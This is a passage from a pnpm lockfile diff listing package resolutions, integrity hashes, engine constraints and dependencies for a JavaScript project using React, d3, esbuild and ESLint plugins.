sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==}+ dependencies:+ balanced-match: 1.0.2+ concat-map: 0.0.1+ dev: true++ resolution: {integrity: sha512-TN1kCZAgdgweJhWWpgKYrQaMNHcDULHkWwQIspdtjV4Y5aurRdZpjAqn6yX3FPqTA9ngHCc4hJxMAMgGfve85w==}+ dependencies:+ balanced-match: 1.0.2+ dev: true++ resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==}+ engines: {node: '>=8'}+ dependencies:+ fill-range: 7.1.1+ dev: true++ resolution: {integrity: sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==}+ engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7}+ hasBin: true+ dependencies:+ baseline-browser-mapping: 2.10.25+ caniuse-lite: 1.0.30001791+ electron-to-chromium: 1.5.349+ node-releases: 2.0.38+ update-browserslist-db: 1.2.3([email protected])+ dev: true++ resolution: {integrity: sha512-3WrrOuZiyaaZPWiEt4G3+IffISVC9HYlWueJEBWED4ZH4aIAC2PnkdnuRrR94M+w6yGWn4AglWtJtBI8YqvgoA==}+ engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0}+ peerDependencies:+ esbuild: '>=0.18'+ dependencies:+ esbuild: 0.27.7+ load-tsconfig: 0.2.5+ dev: true++ resolution: {integrity: sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==}+ engines: {node: '>=10.16.0'}+ dependencies:+ streamsearch: 1.1.0+ dev: false++ resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-errors: 1.3.0+ function-bind: 1.1.2+ dev: true++ resolution: {integrity: sha512-a/hy+pNsFUTR+Iz8TCJvXudKVLAnz/DyeSUo10I5yvFDQJBFU2s9uqQpoSrJlroHUKoKqzg+epxyP9lqFdzfBQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind-apply-helpers: 1.0.2+ es-define-property: 1.0.1+ get-intrinsic: 1.3.0+ set-function-length: 1.2.2+ dev: true++ resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind-apply-helpers: 1.0.2+ get-intrinsic: 1.3.0+ dev: true++ resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==}+ engines: {node: '>=6'}+ dev: true++ resolution: {integrity: sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==}+ engines: {node: '>= 6'}+ dev: true++ resolution: {integrity: sha512-yk0l/YSrOnFZk3UROpDLQD9+kC1l4meK/wed583AXrzoarMGJcbRi2Q4RaUYbKxYAsZ8sWmaSa/DsLmdBeI1vQ==}++ resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==}+ engines: {node: '>=10'}+ dependencies:+ ansi-styles: 4.3.0+ supports-color: 7.2.0+ dev: true++ resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==}+ engines: {node: '>= 8.10.0'}+ dependencies:+ anymatch: 3.1.3+ braces: 3.0.3+ glob-parent: 5.1.2+ is-binary-path: 2.1.0+ is-glob: 4.0.3+ normalize-path: 3.0.0+ readdirp: 3.6.0+ optionalDependencies:+ fsevents: 2.3.3+ dev: true++ resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==}+ engines: {node: '>= 14.16.0'}+ dependencies:+ readdirp: 4.1.2+ dev: true++ resolution: {integrity: sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==}+ dev: false++ resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==}+ engines: {node: '>=6'}+ dev: false++ resolution: {integrity: sha512-U6//9lQ6JvT47+6OF6Gi8BvkxYQ8SCRRSKIJkthIMsFsLZRG0cKvTtuTaefyIKMQb8rvvXy0wGdpTNq/jPtm+g==}+ peerDependencies:+ react: ^18.0.0+ react-dom: ^18.0.0+ dependencies:+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ transitivePeerDependencies:+ - '@types/react'+ dev: false++ resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==}+ engines: {node: '>=7.0.0'}+ dependencies:+ color-name: 1.1.4+ dev: true++ resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==}+ dev: true++ resolution: {integrity: sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==}+ engines: {node: '>= 6'}+ dev: true++ resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==}+ dev: true++ resolution: {integrity: sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==}+ dev: true++ resolution: {integrity: sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==}+ engines: {node: ^14.18.0 || >=16.10.0}+ dev: true++ resolution: {integrity: sha512-AzlgcsCbUMymkADOJtQm3wO9S3ltPfYOFD5033keQn9NJzIbtnZj+UdBJe7DYml/8TdbtHJW3j58SOnKhWY/5g==}+ dependencies:+ layout-base: 2.0.1+ dev: false++ resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==}+ engines: {node: '>= 8'}+ dependencies:+ path-key: 3.1.1+ shebang-command: 2.0.0+ which: 2.0.2+ dev: true++ resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==}+ engines: {node: '>=4'}+ hasBin: true+ dev: true++ resolution: {integrity: sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==}++ resolution: {integrity: sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ==}+ peerDependencies:+ cytoscape: ^3.2.0+ dependencies:+ cose-base: 2.2.0+ cytoscape: 3.33.3+ dev: false++ resolution: {integrity: sha512-Gej7U+OKR+LZ8kvX7rb2HhCYJ0IhvEFsnkud4SB1PR+BUY/TsSO0dmOW59WEVLu51b1Rm+gQRKoz4bLYxGSZ2g==}+ engines: {node: '>=0.10'}++ resolution: {integrity: sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==}+ engines: {node: '>=12'}+ dependencies:+ internmap: 2.0.3+ dev: false++ resolution: {integrity: sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==}+ engines: {node: '>=12'}+ dev: false++ resolution: {integrity: sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==}+ engines: {node: '>=12'}+ dev: false++ resolution: {integrity: sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==}+ engines: {node: '>=12'}+ dev: false++ resolution: {integrity: sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==}+ engines: {node: '>=12'}+ dependencies:+ d3-color: 3.1.0+ dev: false++ resolution: {integrity: sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==}+ engines: {node: '>=12'}+ dev: false++ resolution: {integrity: sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==}+ engines: {node: '>=12'}+ dependencies:+ d3-array: 3.2.4+ d3-format: 3.1.2+ d3-interpolate: 3.0.1+ d3-time: 3.1.0+ d3-time-format: 4.1.0+ dev: false++ resolution: {integrity: sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==}+ engines: {node: '>=12'}+ dependencies:+ d3-path: 3.1.0+ dev: false++ resolution: {integrity: sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==}+ engines: {node: '>=12'}+ dependencies:+ d3-time: 3.1.0+ dev: false++ resolution: {integrity: sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==}+ engines: {node: '>=12'}+ dependencies:+ d3-array: 3.2.4+ dev: false++ resolution: {integrity: sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==}+ engines: {node: '>=12'}+ dev: false++ resolution: {integrity: sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==}+ dev: true++ resolution: {integrity: sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ es-errors: 1.3.0+ is-data-view: 1.0.2+ dev: true++ resolution: {integrity: sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ es-errors: 1.3.0+ is-data-view: 1.0.2+ dev: true++ resolution: {integrity: sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ es-errors: 1.3.0+ is-data-view: 1.0.2+ dev: true++ resolution: {integrity: sha512-fRHTG8g/Gif+kSh50gaGEdToemgfj74aRX3swtiouboip5JDLAyDE9F11nHMIcvOaXeOC6D7SpNhi7uFyB7Uww==}+ dev: false++ resolution: {integrity: sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==}+ peerDependencies:+ supports-color: '*'+ peerDependenciesMeta:+ supports-color:+ optional: true+ dependencies:+ ms: 2.1.3+ dev: true++ resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==}+ engines: {node: '>=6.0'}+ peerDependencies:+ supports-color: '*'+ peerDependenciesMeta:+ supports-color:+ optional: true+ dependencies:+ ms: 2.1.3+ dev: true++ resolution: {integrity: sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==}+ dev: false++ resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==}+ dev: true++ resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-define-property: 1.0.1+ es-errors: 1.3.0+ gopd: 1.2.0+ dev: true++ resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==}+ engines: {node: '>= 0.4'}+ dependencies:+ define-data-property: 1.1.4+ has-property-descriptors: 1.0.2+ object-keys: 1.1.1+ dev: true++ resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==}+ engines: {node: '>=6'}+ dev: false++ resolution: {integrity: sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==}+ dev: false++ resolution: {integrity: sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==}+ dev: true++ resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==}+ engines: {node: '>=8'}+ dependencies:+ path-type: 4.0.0+ dev: true++ resolution: {integrity: sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==}+ dev: true++ resolution: {integrity: sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==}+ engines: {node: '>=0.10.0'}+ dependencies:+ esutils: 2.0.3+ dev: true++ resolution: {integrity: sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==}+ engines: {node: '>=6.0.0'}+ dependencies:+ esutils: 2.0.3+ dev: true++ resolution: {integrity: sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==}+ dependencies:+ '@babel/runtime': 7.29.2+ csstype: 3.2.3+ dev: false++ resolution: {integrity: sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw==}+ optionalDependencies:+ '@types/trusted-types': 2.0.7+ dev: false++ resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind-apply-helpers: 1.0.2+ es-errors: 1.3.0+ gopd: 1.2.0+ dev: true++ resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==}+ dev: true++ resolution: {integrity: sha512-QsWVGyRuY07Aqb234QytTfwd5d9AJlfNIQ5wIOl1L+PZDzI9d9+Fn0FRale/QYlFxt/bUnB0/nLd1jFPGxGK1A==}+ dev: true++ resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==}+ dev: true++ resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==}+ dev: true++ resolution: {integrity: sha512-2FpH9Q5i2RRwyEP1AylXe6nYLR5OhaJTZwmlcP0dL/+JCbgg7yyEo/sEK6HeGZRf3dFpWwThaRHVApXSkW3xeg==}+ engines: {node: '>= 0.4'}+ dependencies:+ array-buffer-byte-length: 1.0.2+ arraybuffer.prototype.slice: 1.0.4+ available-typed-arrays: 1.0.7+ call-bind: 1.0.9+ call-bound: 1.0.4+ data-view-buffer: 1.0.2+ data-view-byte-length: 1.0.2+ data-view-byte-offset: 1.0.1+ es-define-property: 1.0.1+ es-errors: 1.3.0+ es-object-atoms: 1.1.1+ es-set-tostringtag: 2.1.0+ es-to-primitive: 1.3.0+ function.prototype.name: 1.1.8+ get-intrinsic: 1.3.0+ get-proto: 1.0.1+ get-symbol-description: 1.1.0+ globalthis: 1.0.4+ gopd: 1.2.0+ has-property-descriptors: 1.0.2+ has-proto: 1.2.0+ has-symbols: 1.1.0+ hasown: 2.0.3+ internal-slot: 1.1.0+ is-array-buffer: 3.0.5+ is-callable: 1.2.7+ is-data-view: 1.0.2+ is-negative-zero: 2.0.3+ is-regex: 1.2.1+ is-set: 2.0.3+ is-shared-array-buffer: 1.0.4+ is-string: 1.1.1+ is-typed-array: 1.1.15+ is-weakref: 1.1.1+ math-intrinsics: 1.1.0+ object-inspect: 1.13.4+ object-keys: 1.1.1+ object.assign: 4.1.7+ own-keys: 1.0.1+ regexp.prototype.flags: 1.5.4+ safe-array-concat: 1.1.4+ safe-push-apply: 1.0.0+ safe-regex-test: 1.1.0+ set-proto: 1.0.0+ stop-iteration-iterator: 1.1.0+ string.prototype.trim: 1.2.10+ string.prototype.trimend: 1.0.9+ string.prototype.trimstart: 1.0.8+ typed-array-buffer: 1.0.3+ typed-array-byte-length: 1.0.3+ typed-array-byte-offset: 1.0.4+ typed-array-length: 1.0.7+ unbox-primitive: 1.1.0+ which-typed-array: 1.1.20+ dev: true++ resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-HVLACW1TppGYjJ8H6/jqH/pqOtKRw6wMlrB23xfExmFWxFquAIWCmwoLsOyN96K4a5KbmOf5At9ZUO3GZbetAw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ es-abstract: 1.24.2+ es-errors: 1.3.0+ es-set-tostringtag: 2.1.0+ function-bind: 1.1.2+ get-intrinsic: 1.3.0+ globalthis: 1.0.4+ gopd: 1.2.0+ has-property-descriptors: 1.0.2+ has-proto: 1.2.0+ has-symbols: 1.1.0+ internal-slot: 1.1.0+ iterator.prototype: 1.1.5+ math-intrinsics: 1.1.0+ dev: true++ resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-errors: 1.3.0+ dev: true++ resolution: {integrity: sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-errors: 1.3.0+ get-intrinsic: 1.3.0+ has-tostringtag: 1.0.2+ hasown: 2.0.3+ dev: true++ resolution: {integrity: sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==}+ engines: {node: '>= 0.4'}+ dependencies:+ hasown: 2.0.3+ dev: true++ resolution: {integrity: sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==}+ engines: {node: '>= 0.4'}+ dependencies:+ is-callable: 1.2.7+ is-date-object: 1.1.0+ is-symbol: 1.1.1+ dev: true++ resolution: {integrity: sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==}+ engines: {node: '>=18'}+ hasBin: true+ requiresBuild: true+ optionalDependencies:+ '@esbuild/aix-ppc64': 0.27.7+ '@esbuild/android-arm': 0.27.7+ '@esbuild/android-arm64': 0.27.7+ '@esbuild/android-x64': 0.27.7+ '@esbuild/darwin-arm64': 0.27.7+ '@esbuild/darwin-x64': 0.27.7+ '@esbuild/freebsd-arm64': 0.27.7+ '@esbuild/freebsd-x64': 0.27.7+ '@esbuild/linux-arm': 0.27.7+ '@esbuild/linux-arm64': 0.27.7+ '@esbuild/linux-ia32': 0.27.7+ '@esbuild/linux-loong64': 0.27.7+ '@esbuild/linux-mips64el': 0.27.7+ '@esbuild/linux-ppc64': 0.27.7+ '@esbuild/linux-riscv64': 0.27.7+ '@esbuild/linux-s390x': 0.27.7+ '@esbuild/linux-x64': 0.27.7+ '@esbuild/netbsd-arm64': 0.27.7+ '@esbuild/netbsd-x64': 0.27.7+ '@esbuild/openbsd-arm64': 0.27.7+ '@esbuild/openbsd-x64': 0.27.7+ '@esbuild/openharmony-arm64': 0.27.7+ '@esbuild/sunos-x64': 0.27.7+ '@esbuild/win32-arm64': 0.27.7+ '@esbuild/win32-ia32': 0.27.7+ '@esbuild/win32-x64': 0.27.7+ dev: true++ resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==}+ engines: {node: '>=6'}+ dev: true++ resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==}+ engines: {node: '>=10'}+ dev: true++ resolution: {integrity: sha512-SBX2ed7DoRFXC6CQSLc/SbLY9Ut6HxNB2wPTcoIWjUMd7aF7O/SIE7111L8FdZ9TXsNV4pulUDnfthpyPtbFUg==}+ peerDependencies:+ eslint: ^7.23.0 || ^8.0.0+ typescript: '>=3.3.1'+ peerDependenciesMeta:+ typescript:+ optional: true+ dependencies:+ '@next/eslint-plugin-next': 14.1.0+ '@rushstack/eslint-patch': 1.16.1+ '@typescript-eslint/parser': 6.21.0([email protected])([email protected])+ eslint: 8.57.1+ eslint-import-resolver-node: 0.3.10+ eslint-import-resolver-typescript: 3.10.1([email protected])([email protected])+ eslint-plugin-import: 2.32.0(@typescript-eslint/[email protected])([email protected])([email protected])+ eslint-plugin-jsx-a11y: 6.10.2([email protected])+ eslint-plugin-react: 7.37.5([email protected])+ eslint-plugin-react-hooks: 5.0.0-canary-7118f5dd7-20230705([email protected])+ typescript: 5.9.3+ transitivePeerDependencies:+ - eslint-import-resolver-webpack+ - eslint-plugin-import-x+ - supports-color+ dev: true++ resolution: {integrity: sha512-tRrKqFyCaKict5hOd244sL6EQFNycnMQnBe+j8uqGNXYzsImGbGUU4ibtoaBmv5FLwJwcFJNeg1GeVjQfbMrDQ==}+ dependencies:+ debug: 3.2.7+ is-core-module: 2.16.1+ resolve: 2.0.0-next.6+ transitivePeerDependencies:+ - supports-color+ dev: true++ resolution: {integrity: sha512-A1rHYb06zjMGAxdLSkN2fXPBwuSaQ0iO5M/hdyS0Ajj1VBaRp0sPD3dn1FhME3c/JluGFbwSxyCfqdSbtQLAHQ==}+ engines: {node: ^14.18.0 || >=16.0.0}+ peerDependencies:+ eslint: '*'+ eslint-plugin-import: '*'+ eslint-plugin-import-x: '*'+ peerDependenciesMeta:+ eslint-plugin-import:+ optional: true+ eslint-plugin-import-x:+ optional: true+ dependencies:+ '@nolyfill/is-core-module': 1.0.39+ debug: 4.4.3+ eslint: 8.57.1+ eslint-plugin-import: 2.32.0(@typescript-eslint/[email protected])([email protected])([email protected])+ get-tsconfig: 4.14.0+ is-bun-module: 2.0.0+ stable-hash: 0.0.5+ tinyglobby: 0.2.16+ unrs-resolver: 1.11.1+ transitivePeerDependencies:+ - supports-color+ dev: true++ /[email protected](@typescript-eslint/[email protected])([email protected])([email protected])([email protected]):+ resolution: {integrity: sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==}+ engines: {node: '>=4'}+ peerDependencies:+ '@typescript-eslint/parser': '*'+ eslint: '*'+ eslint-import-resolver-node: '*'+ eslint-import-resolver-typescript: '*'+ eslint-import-resolver-webpack: '*'+ peerDependenciesMeta:+ '@typescript-eslint/parser':+ optional: true+ eslint:+ optional: true+ eslint-import-resolver-node:+ optional: true+ eslint-import-resolver-typescript:+ optional: true+ eslint-import-resolver-webpack:+ optional: true+ dependencies:+ '@typescript-eslint/parser': 6.21.0([email protected])([email protected])+ debug: 3.2.7+ eslint: 8.57.1+ eslint-import-resolver-node: 0.3.10+ eslint-import-resolver-typescript: 3.10.1([email protected])([email protected])+ transitivePeerDependencies:+ - supports-color+ dev: true++ resolution: {integrity: sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==}+ engines: {node: '>=4'}+ peerDependencies:+ '@typescript-eslint/parser': '*'+ eslint: ^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9+ peerDependenciesMeta:+ '@typescript-eslint/parser':+ optional: true+ dependencies:+ '@rtsao/scc': 1.1.0+ '@typescript-eslint/parser': 6.21.0([email protected])([email protected])+ array-includes: 3.1.9+ array.prototype.findlastindex: 1.2.6+ array.prototype.flat: 1.3.3+ array.prototype.flatmap: 1.3.3+ debug: 3.2.7+ doctrine: 2.1.0+ eslint: 8.57.1+ eslint-import-resolver-node: 0.3.10+ eslint-module-utils: 2.12.1(@typescript-eslint/[email protected])([email protected])([email protected])([email protected])+ hasown: 2.0.3+ is-core-module: 2.16.1+ is-glob: 4.0.3+ minimatch: 3.1.5+ object.fromentries: 2.0.8+ object.groupby: 1.0.3+ object.values: 1.2.1+ semver: 6.3.1+ string.prototype.trimend: 1.0.9+ tsconfig-paths: 3.15.0+ transitivePeerDependencies:+ - eslint-import-resolver-typescript+ - eslint-import-resolver-webpack+ - supports-color+ dev: true++ resolution: {integrity: sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==}+ engines: {node: '>=4.0'}+ peerDependencies:+ eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9+ dependencies:+ 